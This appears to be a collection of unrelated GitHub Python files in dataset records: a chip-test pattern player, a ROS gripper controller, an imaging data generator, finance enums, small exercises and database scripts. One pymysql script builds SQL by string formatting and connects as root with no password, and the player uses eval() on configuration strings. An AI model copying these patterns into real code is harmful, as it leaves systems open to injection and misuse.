self.ratio_clk = \"\"\n self.scan_memory_in_progress = 0\n # --------Clock managment\n # Take it from TE_cfg.....self.hpl_to_dut_interface\n clock_class_name = (\"hpl_%s_clocks\") % (\"interactive\" if (self.interactive_mode) else \"non_interactive\")\n # --------------------------------\n if(os.environ.get('HTD_TE_HELP_MODE') == \"1\"):\n self.hplClockMgr = eval(clock_class_name)(CFG, self)\n return # No low level object initilization in HELP arguments mode\n # -----------------------------\n if(\"HPL\" not in list(CFG.keys())):\n htdte_logger.error(\"Missing HPL configuration category in global CFG structure . \")\n if(\"execution_mode\" not in list(CFG[\"HPL\"].keys())):\n htdte_logger.error(\"Missing \\\"execution_mode\\\" configuration entry in CFG[HPL] structure . \")\n # -------Interfaces--------\n self.hpl_to_dut_interface = None\n if(CFG[\"HPL\"][\"execution_mode\"] == \"itpp\"):\n self.hpl_to_dut_interface = hpl_itpp_interface(self.get_interface_file_name(), self)\n self.interactive_mode = False\n elif(CFG[\"HPL\"][\"execution_mode\"] == \"interactive_socket\"):\n self.hpl_to_dut_interface = hpl_interactive_socket_interface(self)\n self.interactive_mode = True\n htdte_logger.setErrHndlrInterface(self.hpl_to_dut_interface)\n elif(CFG[\"HPL\"][\"execution_mode\"] == \"spf\"):\n self.hpl_to_dut_interface = hpl_spf_interface(self.get_interface_file_name(), self)\n elif(CFG[\"HPL\"][\"execution_mode\"] == \"xdp\"):\n self.hpl_to_dut_interface = hpl_xdp_interface(self.get_interface_file_name(), self)\n else:\n htdte_logger.error((\"Not supported execution mode value -\\\"%s\\\" found in CFG[HPL][execution_mode]. Expected modes are: itpp\") % (CFG[\"HPL\"][\"execution_mode\"]))\n # ---------Plsyer BFM manager----\n self.hplSignalMgr = eval((\"hpl_SignalManager_%s\") % ((\"interactive\" if (self.interactive_mode) else \"non_interactive\")))(self.hpl_to_dut_interface, self)\n # ----------------------------------------\n self.hplSbftLoadMgr = eval(\"hpl_SbftLoadManager\")(self.hpl_to_dut_interface, self)\n # ----------------------------------------\n if(\"tap_api_selector\" not in list(CFG[\"HPL\"].keys())):\n htdte_logger.error(\"Missing TAP API selector (expected in CFG[HPL][tap_api_selector]. \")\n self.hpl_tap_api = eval(cfg_HPL(\"tap_api_selector\"))()\n # -----------------------\n clock_class_name = (\"hpl_%s_clocks\") % (\"interactive\" if (self.interactive_mode) else \"non_interactive\")\n self.hplClockMgr = eval(clock_class_name)(CFG, self)\n # --Simoptimization\n if(\"signal_wait_mode\" not in list(CFG[\"HPL\"].keys())):\n htdte_logger.error((\" Missing obligatory CFG[\\\"HPL\\\"][\\\"signal_wait_mode\\\"] definition in TE_cfg.xml (Valid values are:sim_time or silicon).... \"))\n if(CFG[\"HPL\"][\"signal_wait_mode\"] not in [\"sim_time\", \"silicon\"]):\n htdte_logger.error((\" Invalid CFG[\\\"HPL\\\"][\\\"signal_wait_mode\\\"]=\\\"%s\\\" definition in TE_cfg.xml (Valid values are:sim_time or silicon).... \") % (CFG[\"HPL\"][\"signal_wait_mode\"]))\n self.signal_wait_mode = CFG[\"HPL\"][\"signal_wait_mode\"]\n # --------------------\n # Sync Enable\n if \"sync_enabled\" in CFG[\"HPL\"]:\n self.sync_enabled = CFG[\"HPL\"][\"sync_enabled\"]\n htdte_logger.inform(\"HPL Sync: %d\" % (self.sync_enabled))\n else:\n self.sync_enabled = 1\n htdte_logger.inform(\"HPL Sync Enabled by default\")\n htdte_logger.set_message_signal = self.set_message_signal\n # --------------------------------------------------\n\n def get_interface_file_name(self):\n mode = CFG[\"HPL\"][\"execution_mode\"]\n if(mode == \"itpp\"):\n return \"htd_test_stimulus.itpp\" if(\"ItppOutputFileName\" not in list(CFG[\"HPL\"].keys())) else cfg_HPL(\"ItppOutputFileName\")\n elif(mode == \"spf\"):\n return \"htd_test_stimulus.spf\" if(\"SpfOutputFileName\" not in list(CFG[\"HPL\"].keys())) else cfg_HPL(\"SpfOutputFileName\")\n elif(mode == \"xdp\"):\n return \"htd_test_stimulus.py\" if(\"XdpOutputFileName\" not in list(CFG[\"HPL\"].keys())) else cfg_HPL(\"XdpOutputFileName\")\n else:\n htdte_logger.error((\"Not supported execution mode value -\\\"%s\\\" found in CFG[HPL][execution_mode]. Expected modes are: itpp\") % (CFG[\"HPL\"][\"execution_mode\"]))\n\n def get_indexed_label(self, label, agent_filter=\"\"):\n if(not htd_history_mgr.parametric_has(self.labels_history_table_name, [label + agent_filter])):\n htd_history_mgr.parametric_capture(self.labels_history_table_name, [label + agent_filter], 0, \"HPL_ui\")\n return label\n else:\n indx = htd_history_mgr.parametric_get(self.labels_history_table_name, [label + agent_filter]) + 1\n htd_history_mgr.parametric_capture(self.labels_history_table_name, [label + agent_filter], indx, \"HPL_ui\")\n #htdte_logger.inform(\"current %s index is %d filter %s\" %(label, indx, agent_filter))\n return (\"%s_%d\") % (label, indx)\n\n def set_current_action(self, actionObj):\n self.current_action = actionObj\n\n def get_current_action(self): return self.current_action\n\n def close(self):\n self.hpl_to_dut_interface.close()\n\n def set_silent_mode(self):\n self.hpl_to_dut_interface.set_silent_mode()\n self.silent_mode = True\n\n def unset_silent_mode(self):\n self.hpl_to_dut_interface.unset_silent_mode()\n self.silent_mode = False\n # -------------------------------\n # Create HTML formatted help file\n # -------------------------------\n\n def create_hpl_help(self, file_name):\n html_file = open(file_name, 'w')\n # -----The short help is printed to screen , detailed help in html------------\n # --Create a bookmarks links for html\n html_file.write(\"\\n\\n\")\n html_file.write('\\n')\n html_file.write(' HTD Player (Output Interface) Help:
\\n')\n # --------------\n util_get_methods_prototypes_of_class(self.__class__.__name__).print_html(html_file, HelpListStreamEnum_all)\n html_file.close()\n # -------------------------------------------------------------------------------------------------------------------------\n # --To be used for comments printout to transactor : ITPP file or SIM/EMU or pattern comment to make a flow clarification\n # -------------------------------------------------------------------------------------------------------------------------\n\n def add_comment(self, line):\n self.hpl_to_dut_interface.add_comment(line)\n # -------------------------------------------------------------\n # Passing pattern information through Simulation,EMU or DP\n # -------------------------------------------------------------\n\n def set_pattern_info(self, message):\n self.hpl_to_dut_interface.set_pattern_info(message)\n # ---------------------------------------------------------\n # ---TAP CallBacks\n # --------------------------------------------------------\n # def tap_send_cmd(self,tap_obj): # todo vik close interface with (this is the entry point fomr htd_te end)\n # return self.hpl_tap.send_cmd(tap_obj)\n\n def get_ir_opcode_int(self, cmd, agent):\n return HTD_INFO.tap_info.get_ir_opcode_int(cmd, agent)\n\n def get_ir_name(self, ircode, agent):\n # return self.hpl_tap.api.get_ir_name(ircode,agent)\n return HTD_INFO.tap_info.get_ir_name(ircode, agent)\n\n def get_tapreg_fields(self, cmd, agent, eptarget):\n # return self.hpl_tap.api.get_ir_fields(cmd,agent)\n return HTD_INFO.tap_info.get_ir_fields(cmd, agent, eptarget)\n\n def tap_send_cmd(self, tap_params): # /nfs/iil/proj/mpgbd/vbhutani/CNL/HTD_TE/repo_latest/tools//htd_hpl/bin/htd_player_ui.pytodo vik close interface with (this is the entry point fomr htd_te end)\n return self.hpl_tap.send_cmd(tap_params)\n\n def verify_tap_eptarget(self, agent, eptarget):\n return self.hpl_tap.verify_tap_eptarget(agent, eptarget)\n\n def rtl_node_exists(self, cmd, agent, field):\n # return self.hpl_tap.api.rtl_node_exists(cmd,agent,field)\n return HTD_INFO.tap_info.rtl_node_exists(cmd, agent, field)\n # ---------------------------------------------------------\n # ---Signal CallBacks\n # ---------------------------------------------------------\n\n def is_intractive_simulation(self):\n return self.hplSignalMgr.is_interactive_mode()\n\n def get_full_signal_path(self, signal, lsb=-1, msb=-1, selector=\"\"):\n return HTD_INFO.signal_info.extract_full_signal_path(signal, lsb, msb, selector)\n\n def signal_module_exists(self, search_signal_or_module):\n return HTD_INFO.signal_info.signal_module_exists(search_signal_or_module)\n\n # ------------------------------------------------------------------------------------------------------------------------------------\n def wait_clock_num(self, cycles, clock=\"none\"):\n if (cycles == 0):\n return\n self.hpl_to_dut_interface.wait_clock_num(cycles, clock)\n # ---SYNC API\n # ------------------------------------------------------------------------------------------------------------------------------------\n\n def wait_clock_edge(self, clock, edge):\n supported_edges = [\"ar\", \"br\", \"af\", \"bf\"]\n if(edge not in supported_edges):\n htdte_logger.error((\"Not supported edge value received: \\\"%s\\\" - supported:% \") % (edge, supported_edges))\n delay = self.hplClockMgr.get_clock_edge_delay(clock_name, edge) # return a delay for a requested edge\n if(delay):\n self.hpl_to_dut_interface.wait_clock_num(delay, clock)\n # ------------------------------------------------------------------------------------------------------------------------------------\n\n def sync_to_clock_modulo(self, clock, modulo):\n # TODO Vik to fix in HPL_Clock colck Modulo API.\n # Make a delay until the target clock modulo constrain\n # moduloPatVecClock=self.hplClockMgr.clock_transpose(clock,modulo,CFG[\"HPL\"][\"PatVecClock\"])\n # self.hplClockMgr.wait_clock_modulo(clock,modulo) #Get the number of Pattern vector clock (\"bclks\") until the target clock will be modulo , Example core clock 1:22, requirement modulo 8 -> 3 bclk\n self.hpl_to_dut_interface.wait_clock_modulo(clock, modulo)\n\n #-------------- ratio commands----------------#\n def set_ratio(self, ratio, clock):\n if (self.ratio_clk != \"\" and self.ratio_clk != clock):\n htdte_logger.inform(\"ratio was set on clock %s, can't modify it to other clock %s\" % (self.ratio_clk, clock))\n if (ratio != self.current_ratio):\n self.tap_expandata(clock, ratio)\n self.current_ratio = ratio\n self.ratio_clk = clock\n\n def restore_ratio(self):\n if (self.ratio_clk == \"\"):\n htdte_logger.error(\"ratio clock was not set, can't restore properly\")\n\n if (self.current_ratio != self.default_ratio):\n self.tap_expandata(self.ratio_clk, self.default_ratio)\n self.current_ratio = self.default_ratio\n\n # ------------------------------------------------------------------------------------------------------------------------------------\n def write_itpp_cmd(self, cmd):\n self.hpl_to_dut_interface.write_itpp_cmd(cmd)\n\n def start_scan_memory(self):\n if(\"scan_group\" not in list(CFG[\"HPL\"].keys()) or CFG[\"HPL\"][\"scan_group\"] != \"\"):\n htdte_logger.inform(\"Trying to use start_scan command while the scan group is not defined in CFG[\\\"HPL\\\"][\\\"scan_group\\\"]\")\n if(self.scan_memory_in_progress):\n htdte_logger.inform(\"Trying to use start_scan command during active scan mode - (already has been called without stop_scan)\")\n self.write_itpp_cmd((\"start_scan: %s;\\n\") % (CFG[\"HPL\"][\"scan_group\"]))\n self.scan_memory_in_progress = 1\n\n def stop_scan_memory(self):\n if(\"scan_group\" not in list(CFG[\"HPL\"].keys()) or CFG[\"HPL\"][\"scan_group\"] != \"\"):\n htdte_logger.inform(\"Trying to use stop_scan command while the scan group is not defined in CFG[\\\"HPL\\\"][\\\"scan_group\\\"]\")\n if(self.scan_memory_in_progress == 0):\n htdte_logger.inform(\"Trying to call stop_scan cmd , while not started previously.\")\n self.write_itpp_cmd((\"stop_scan: %s;\\n\") % (CFG[\"HPL\"][\"scan_group\"]))\n self.scan_memory_in_progress = 0\n # ------------------------------------------------------------------------------------------------------------------------------------\n\n def set_message_signal(self, message_val):\n if(\"hvm_flow_tracking_signal\" in list(CFG[\"HPL\"].keys()) and CFG[\"HPL\"][\"hvm_flow_tracking_signal\"] != \"\"):\n for i in range(0, 16):\n val = util_get_int_sub_range(i * 32, (i + 1) * 32 - 1, message_val)\n self.hplSignalMgr.signal_set(CFG[\"HPL\"][\"hvm_flow_tracking_signal\"], i * 32, (i + 1) * 32 - 1, val)\n # --------------------\n\n def tap_compression_on(self): self.hpl_to_dut_interface.tap_compression_on()\n\n def tap_compression_off(self): self.hpl_to_dut_interface.tap_compression_off()\n\n def tap_expandata(self, clock, value):\n self.write_itpp_cmd(\"expandata: %s,%d;\" % (clock, value))\n self.write_itpp_cmd(\"delay: %s(%d);\" % (self.hplClockMgr.get_clock_rtl_path(CFG[\"HPL\"][\"PatVecClock\"]), 10))\n","repo_name":"mattpacey/pacman_core","sub_path":"tools/htd_hpl/bin/htd_player_ui.py","file_name":"htd_player_ui.py","file_ext":"py","file_size_in_byte":15425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"3913325421","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport rospy\n\nfrom sensor_msgs.msg import JointState\n\nfrom catchrobo_manager.servo import Servo, Laser\n\n\n\nclass GripperID:\n NEAR = 0\n FAR = 1\n\nclass GripWay:\n LONG_GRIP = 0\n SMALL_GRIP = 1\n\n \n MAX = 2\n\nclass GripperManager():\n def __init__(self, color):\n self._grippers = [Servo(\"gripper1\"), Servo(\"gripper2\")]\n self._lasers = [Laser(\"laser1\"), Laser(\"laser2\")]\n self.RELEASE_WAIT_S = 0.5\n self.GRIP_WAIT_S = 0.5\n\n id_map = [0,1]\n if color == \"red\":\n id_map[GripperID.NEAR] = 0\n id_map[GripperID.FAR] = 1\n if color == \"blue\":\n id_map[GripperID.NEAR] = 1\n id_map[GripperID.FAR] = 0\n self._id_map = id_map\n\n self._grip_dist = rospy.get_param(\"grip_dist\")\n\n\n self._grip_status = [GripWay.MAX, GripWay.MAX]\n self.releaseBisco(0)\n self.releaseBisco(1)\n\n def getGripDist(self, target_gripper, grip_way):\n if grip_way == GripWay.LONG_GRIP:\n ret = self._grip_dist[\"long\"][target_gripper]\n else:\n ret = self._grip_dist[\"small\"][target_gripper]\n return ret\n\n def laser(self, laser_on):\n self._lasers[0].output(laser_on)\n self._lasers[1].output(laser_on)\n\n def graspBisco(self, target_gripper, grip_way,wait):\n target_gripper_id = self._id_map[target_gripper]\n dist = self.getGripDist(target_gripper, grip_way)\n\n self._grip_status[target_gripper] = grip_way\n\n if wait is True:\n wait_s = self.GRIP_WAIT_S\n else:\n wait_s = 0\n self._grippers[target_gripper_id].move(dist,wait_s)\n temp = \"gripper {}: {} cm\".format(target_gripper_id, dist)\n rospy.loginfo(temp)\n\n\n def releaseBisco(self, target_gripper):\n target_gripper_id = self._id_map[target_gripper]\n dist = self._grip_dist[\"max\"]\n self._grippers[target_gripper_id].move(dist,self.RELEASE_WAIT_S)\n \n rospy.loginfo(\"release\")\n\n","repo_name":"catchrobo2021/catchrobo_robot","sub_path":"catchrobo_manager/src/catchrobo_manager/gripper_manager.py","file_name":"gripper_manager.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"21494721484","text":"\nimport os\nimport sys\nimport time\nimport zlib\nimport logging\nlogger = logging.getLogger('data_gen')\nlogger.setLevel(logging.INFO)\n\nch = logging.StreamHandler()\nch.setLevel(logging.INFO)\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nch.setFormatter(formatter)\nlogger.addHandler(ch)\n\nimport numpy as np\nimport tensorflow as tf\nimport random\nimport pandas as pd\n\nfrom tensorflow.keras.utils import Sequence\n\nimport SimpleITK as sitk\nfrom skimage.transform import resize \nfrom scipy import ndimage as ndi\n\nimport albumentations as A\n\ndef seed_everything(seed=4269):\n random.seed(seed)\n os.environ['PYTHONHASHSEED'] = str(seed)\n os.environ['TF_CUDNN_DETERMINISTIC'] = '1' # new flag present in tf 2.0+\n np.random.seed(seed)\n tf.random.set_seed(seed)\nseed_everything()\n\n \n# https://gist.github.com/mrajchl/ccbd5ed12eb68e0c1afc5da116af614a\ndef resample_img(itk_image, out_spacing=[2.0, 2.0, 2.0], is_label=False):\n \n # Resample images to 2mm spacing with SimpleITK\n original_spacing = itk_image.GetSpacing()\n original_size = itk_image.GetSize()\n\n out_size = [\n int(np.round(original_size[0] * (original_spacing[0] / out_spacing[0]))),\n int(np.round(original_size[1] * (original_spacing[1] / out_spacing[1]))),\n int(np.round(original_size[2] * (original_spacing[2] / out_spacing[2])))]\n\n resample = sitk.ResampleImageFilter()\n resample.SetOutputSpacing(out_spacing)\n resample.SetSize(out_size)\n resample.SetOutputDirection(itk_image.GetDirection())\n resample.SetOutputOrigin(itk_image.GetOrigin())\n resample.SetTransform(sitk.Transform())\n resample.SetDefaultPixelValue(itk_image.GetPixelIDValue())\n\n if is_label:\n resample.SetInterpolator(sitk.sitkNearestNeighbor)\n else:\n resample.SetInterpolator(sitk.sitkBSpline)\n\n return resample.Execute(itk_image)\n\ndef read_image(row): # responsible for reading, resampling, scaling intensity to (-1,1)\n \n file_path = row.file_path\n if row.dataset == 'ped-ct-seg':\n \n spacing=(2.0,2.0,2.0)\n\n reader= sitk.ImageFileReader()\n reader.SetFileName(file_path)\n img_obj = reader.Execute() \n img_obj = resample_img(img_obj, out_spacing=spacing, is_label=False)\n\n spacing = img_obj.GetSpacing()\n origin = img_obj.GetOrigin()\n size = img_obj.GetSize()\n direction = img_obj.GetDirection()\n\n img = sitk.GetArrayFromImage(img_obj)\n\n logger.debug(f'{origin},{direction}')\n logger.debug(f'{spacing},{size}')\n logger.debug(f'img.shape {img.shape}')\n\n MIN_VAL,MAX_VAL = -1000,1000\n img = img.astype(np.float16)\n img = ((img-MIN_VAL)/(MAX_VAL-MIN_VAL))\n img = (img-0.5)*2\n img = img.clip(-1,1)\n\n img = np.expand_dims(img,axis=-1)\n\n elif row.dataset == 'brats19':\n\n subject_id = os.path.basename(row.file_path)\n flair_path = os.path.join(row.file_path,f'{subject_id}_flair.nii.gz')\n t1_path = os.path.join(row.file_path,f'{subject_id}_t1.nii.gz')\n t1ce_path = os.path.join(row.file_path,f'{subject_id}_t1ce.nii.gz')\n t2_path = os.path.join(row.file_path,f'{subject_id}_t2.nii.gz')\n\n x_list = []\n spacing=(1,1,1)\n for file_path in [flair_path,t1_path,t2_path]:\n\n reader= sitk.ImageFileReader()\n reader.SetFileName(file_path)\n img_obj = reader.Execute() \n img_obj = resample_img(img_obj, out_spacing=spacing, is_label=False)\n\n spacing = img_obj.GetSpacing()\n origin = img_obj.GetOrigin()\n size = img_obj.GetSize()\n direction = img_obj.GetDirection()\n\n x = sitk.GetArrayFromImage(img_obj)\n\n logger.debug(f'{origin},{direction}')\n logger.debug(f'{spacing},{size}')\n logger.debug(f'x.shape {x.shape}')\n\n mu = np.mean(x[x>0])\n sd = np.std(x[x>0])\n x = (x-mu)/(3*sd)\n x = x.clip(-1,1)\n x_list.append(x)\n\n img = np.array(x_list)\n img = np.moveaxis(img, 0, -1)\n\n else:\n raise NotImplementedError()\n\n return img\n\nMIN_VAL = -1\naug_pipeline = A.Compose([\n A.ShiftScaleRotate(value=MIN_VAL,border_mode=0),\n])\n\nFILL_VAL = 0\ncutout_aug_pipeline = A.Compose([\n A.Cutout(p=0.5, num_holes=1,\n max_h_size=120, max_w_size=120, fill_value=FILL_VAL),\n])\n\ndef augment_2d(img,min_val):\n \n img = img.squeeze()\n\n assert(min_val==MIN_VAL)\n\n augmented = aug_pipeline(\n image=img,\n )\n img = augmented['image']\n\n cut_augmented = cutout_aug_pipeline(\n image=img,\n )\n aug_img = cut_augmented['image']\n\n img = np.expand_dims(img,axis=0)\n aug_img = np.expand_dims(aug_img,axis=0)\n\n return img,aug_img\n\ndef augment_3d(img,min_val):\n \n mydim = [6,8,8] # random rectangle cutouts\n np.random.shuffle(mydim)\n\n tmp = np.expand_dims(np.random.rand(*mydim),axis=-1)\n cutout = (tmp>0.9).astype(np.float) # cut out 10% of spaces.\n cutout = resize(cutout>0,img.shape,order=0,mode='edge',cval=min_val)\n\n aug_img = img.copy() # copy!!!\n aug_img[cutout==1] = min_val\n\n return img,aug_img\n\ndef augment(img,min_val):\n\n if img.shape[0]>1: # leverage albumentation if 1st dim == 1\n return augment_3d(img,min_val)\n else:\n return augment_2d(img,min_val)\n\nTHIS_DIR = os.path.dirname(os.path.abspath(__file__))\n\nclass DataGenerator(Sequence):\n def __init__(self,df,batch_size=8,shuffle=False,augment=False,output_shape=(32,128,128,1)):\n \n self.df = df.copy().reset_index() \n self.indices = np.arange(len(self.df))\n\n self.min_val = -1\n self.batch_size = batch_size\n self.shuffle = shuffle\n self.augment = augment\n self.output_shape = output_shape\n \n\n def on_epoch_end(self):\n if self.shuffle:\n np.random.shuffle(self.indices)\n\n def dataread(self, row):\n\n img = read_image(row)\n if self.output_shape: \n # orignal image shape\n i0,i1,i2,_ = img.shape\n\n # target image shape\n o0,o1,o2,_ = self.output_shape\n\n # we pad some values \n diff = np.array([i0-o0,i1-o1,i2-o2,0])\n if any(diff<0):\n padding = [(0,0) if x>=0 else (np.abs(x),np.abs(x)) for x in diff]\n img = np.pad(img,padding,'constant',constant_values=(self.min_val,self.min_val))\n \n i0,i1,i2,_ = img.shape\n\n # starting coordinate\n if i0-o0 == 0:\n s0 = 0\n else:\n s0 = random.choice(list(range(i0-o0))) \n if i1-o1 == 0:\n s1 = 0\n else:\n s1 = random.choice(list(range(i1-o1)))\n if i2-o2 == 0:\n s2 = 0\n else:\n s2 = random.choice(list(range(i2-o2)))\n\n img = img[s0:s0+o0,s1:s1+o1,s2:s2+o2,:]\n\n if self.augment:\n img, aug_img = augment(img,self.min_val)\n else:\n aug_img = img.copy()\n \n logger.debug(f'{img.shape},{aug_img.shape}')\n\n return img,aug_img\n\n def __len__(self):\n return int(np.floor(len(self.indices) / float(self.batch_size)))\n\n def __getitem__(self, idx):\n inds = self.indices[idx * self.batch_size:(idx + 1) * self.batch_size]\n batch_rows = self.df.iloc[inds,:]\n\n x_arr = []\n cutout_x_arr = []\n for n,row in batch_rows.iterrows():\n img, cutout_img = self.dataread(row)\n x_arr.append(img)\n cutout_x_arr.append(cutout_img)\n \n return np.array(cutout_x_arr), np.array(x_arr)\n\nif __name__ == \"__main__\":\n logging.basicConfig( level=\"DEBUG\" )\n \n df = pd.read_csv(sys.argv[1])\n mygen = DataGenerator(\n df,\n batch_size=8,output_shape=(1,240,240,4),\n shuffle=True,augment=True,\n )\n mygen.on_epoch_end()\n print(len(mygen))\n for n,(x,y) in zip(range(2),mygen):\n print(n,x.shape,y.shape)\n\n'''\npython data_gen.py ped-ct-seg.csv\n'''\n","repo_name":"pangyuteng/fc-vae-gan","sub_path":"data_gen.py","file_name":"data_gen.py","file_ext":"py","file_size_in_byte":8148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"17089564038","text":"import numpy as np\n\nfrom vectorbt import _typing as tp\nfrom vectorbt.utils.docs import to_doc\n\n__all__ = [\n 'RangeStatus',\n 'DrawdownStatus',\n 'drawdown_dt',\n 'range_dt'\n]\n\n__pdoc__ = {}\n\n\n# ############# Enums ############# #\n\nclass RangeStatusT(tp.NamedTuple):\n Open: int\n Closed: int\n\n\nRangeStatus = RangeStatusT(*range(2))\n\"\"\"_\"\"\"\n\n__pdoc__['RangeStatus'] = f\"\"\"Range status.\n\n```json\n{to_doc(RangeStatus)}\n```\n\"\"\"\n\n\nclass DrawdownStatusT(tp.NamedTuple):\n Active: int\n Recovered: int\n\n\nDrawdownStatus = DrawdownStatusT(*range(2))\n\"\"\"_\"\"\"\n\n__pdoc__['DrawdownStatus'] = f\"\"\"Drawdown status.\n\n```json\n{to_doc(DrawdownStatus)}\n```\n\"\"\"\n\n# ############# Records ############# #\n\nrange_dt = np.dtype([\n ('id', np.int_),\n ('col', np.int_),\n ('start_idx', np.int_),\n ('end_idx', np.int_),\n ('status', np.int_)\n], align=True)\n\"\"\"_\"\"\"\n\n__pdoc__['range_dt'] = f\"\"\"`np.dtype` of range records.\n\n```json\n{to_doc(range_dt)}\n```\n\"\"\"\n\ndrawdown_dt = np.dtype([\n ('id', np.int_),\n ('col', np.int_),\n ('peak_idx', np.int_),\n ('start_idx', np.int_),\n ('valley_idx', np.int_),\n ('end_idx', np.int_),\n ('peak_val', np.float_),\n ('valley_val', np.float_),\n ('end_val', np.float_),\n ('status', np.int_),\n], align=True)\n\"\"\"_\"\"\"\n\n__pdoc__['drawdown_dt'] = f\"\"\"`np.dtype` of drawdown records.\n\n```json\n{to_doc(drawdown_dt)}\n```\n\"\"\"\n","repo_name":"polakowo/vectorbt","sub_path":"vectorbt/generic/enums.py","file_name":"enums.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":3319,"dataset":"github-code","pt":"82"}
+{"seq_id":"29162052696","text":"\"\"\"\n문제 번호 : 2941\n단계 : 문자열\n제목 : 크로아티아 알파벳\n알고리즘 : 구현 / 문자열\n\"\"\"\n\n# 문자를 split, slicing\n\n# 문자 입력\nN = input()\n\n# 변경된 문자들\nletters = ['c=','c-','dz=','d-','lj','nj','s=','z=']\n\nfor i in letters:\n N = N.replace(i,'*')\nprint(len(N))","repo_name":"Gilbert9172/Gil_code","sub_path":"백준문제풀이/4주차/210829-09.py","file_name":"210829-09.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"72142242827","text":"import sqlite3\nimport os, re, sys, json\nfrom collections import OrderedDict\n\nDATABASE_FILE = 'scorelib.dat'\n\ndef parsePeople(data):\n people = []\n for person in data:\n author = OrderedDict()\n author['name'] = person[2]\n author['born'] = person[0]\n author['died'] = person[1]\n people.append(author)\n return people\n\ndef parseVoices(voice_data):\n voices = OrderedDict()\n for voice in voice_data:\n v = OrderedDict()\n v['name'] = voice[2]\n v['range'] = voice[1]\n voices.update({str(voice[0]): v})\n\n return voices\n\ndef main():\n\n #author = '%' + 'Carl Maria' + '%'\n author = '%' + sys.argv[1] + '%'\n conn = sqlite3.connect(DATABASE_FILE)\n conn.text_factory = str\n cur = conn.cursor()\n RESULT_FOR_PRINT = []\n\n cur.execute('SELECT * FROM person WHERE person.name LIKE ?',(author,))\n authors = cur.fetchall()\n\n for author in authors:\n composer_id = author[0]\n composer_name = author[3]\n print_instance = OrderedDict()\n PRINTS = []\n RESULT = OrderedDict({composer_name: PRINTS})\n\n cur.execute('SELECT * FROM score JOIN (SELECT * FROM score_author JOIN person ON score_author.composer = person.id WHERE person.id = ?) ON score.id = score', (composer_id,))\n scores_data = cur.fetchall()\n\n for score in scores_data:\n print_instance = OrderedDict()\n score_id = score[0]\n title = score[1]\n genre = score[2]\n key = score[3]\n incipit = score[4]\n composition_year = score[5]\n\n cur.execute('SELECT born,died,name FROM score_author JOIN person ON score_author.composer = person.id WHERE score = ?', (score_id,))\n composers_arr = parsePeople(cur.fetchall())\n cur.execute('SELECT * FROM edition WHERE score = ?', (score_id,))\n editions_data = cur.fetchall()\n\n for edition in editions_data:\n\n edition_id = edition[0]\n edition_name = edition[2]\n cur.execute('SELECT born,died,name FROM edition_author JOIN person ON edition_author.editor = person.id WHERE edition = ?', (edition_id,))\n editors_array = parsePeople(cur.fetchall())\n cur.execute('SELECT * FROM print WHERE edition = ?', (edition_id,))\n print_data = cur.fetchone()\n cur.execute('SELECT number, range, name FROM voice WHERE score = ?', (score_id,))\n voice_data = cur.fetchall()\n\n\n print_instance['Print Number'] = print_data[0]\n print_instance['Composer'] = composers_arr\n print_instance['Title'] = title\n print_instance['Genre'] = genre\n print_instance['Key'] = key\n print_instance['Composition Year'] = composition_year\n print_instance['Edition'] = edition_name\n print_instance['Editor'] = editors_array\n print_instance['Voices'] = parseVoices(voice_data)\n print_instance['Partiture'] = True if print_data[1] == 'Y' else False\n print_instance['Incipit'] = incipit\n PRINTS.append(print_instance)\n\n if len(print_instance) != 0:\n RESULT_FOR_PRINT.append(RESULT)\n\n if len(RESULT_FOR_PRINT) != 0:\n hotovo = {}\n for i in RESULT_FOR_PRINT:\n for k,v in i.items():\n hotovo.update({k:v})\n print(json.dumps(hotovo, indent=2, ensure_ascii=False))\n else:\n print(json.dumps({}, indent=2, ensure_ascii=False))\n\n\n\n conn.close()\n\nmain()\n","repo_name":"anticol/python_uni_project","sub_path":"04-exercise/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":3637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"20860538014","text":"import random\nimport requests\nG_url = 'https://www.google.com/'\nF_url = 'https://www.facebook.com/'\nT_url = 'https://twitter.com/'\nA_url = 'https://www.amazon.com/'\nAp_url = 'https://www.apple.com/'\nurls = [G_url, F_url, T_url, A_url, Ap_url]\na = random.randint(0,4)\nres = requests.get(urls[a])\nprint(res.status_code)\nprint(res.url)\n#print(res.text)\nprint(len(res.text))\n\n#temperature in your city\ncity = input('enter your city ')\nprint(city)\ngetc = requests.get(f'https://geocoding-api.open-meteo.com/v1/search?name={city}')\ncjson = getc.json()\n#print(cjson)\nclatitude = cjson['results'][0]['latitude']\n#print(clatitude)\nclongitude = cjson['results'][0]['longitude']\n#print(clongitude)\nforecast = requests.get(f'https://api.open-meteo.com/v1/forecast?latitude={clatitude}&longitude={clongitude}¤t_weather=true')\n#print(forecast.json())\nprint(f'Weather today in {city}')\nprint(forecast.json()['current_weather']['temperature'])\n\n","repo_name":"LilianaLukash/PythonStudy","sub_path":"requests/req.py","file_name":"req.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"35294391896","text":"import pymysql\n\n# Se abre la conexión con el servidor de BD\ndb = pymysql.connect(\"localhost\", \"root\", \"\", \"msc2019\")\n\n# Creamos un objeto tipo cursor\ncursor = db.cursor()\n\nname = \"Isis Siomara\"\nsalary = 293765.28\n\n# Definir cadena SQL\nsql = \"INSERT INTO empelado(nombre, sueldo) VALUES ('{0}', {1})\".format(name, salary)\n\nprint(sql)\n\ntry:\n cursor.execute(sql)\n db.commit()\nexcept:\n db.rollback()\n\ndb.close()","repo_name":"JuandeDiosBarajasCorona/MSC2019-PythonHackathon","sub_path":"database/Insertar.py","file_name":"Insertar.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
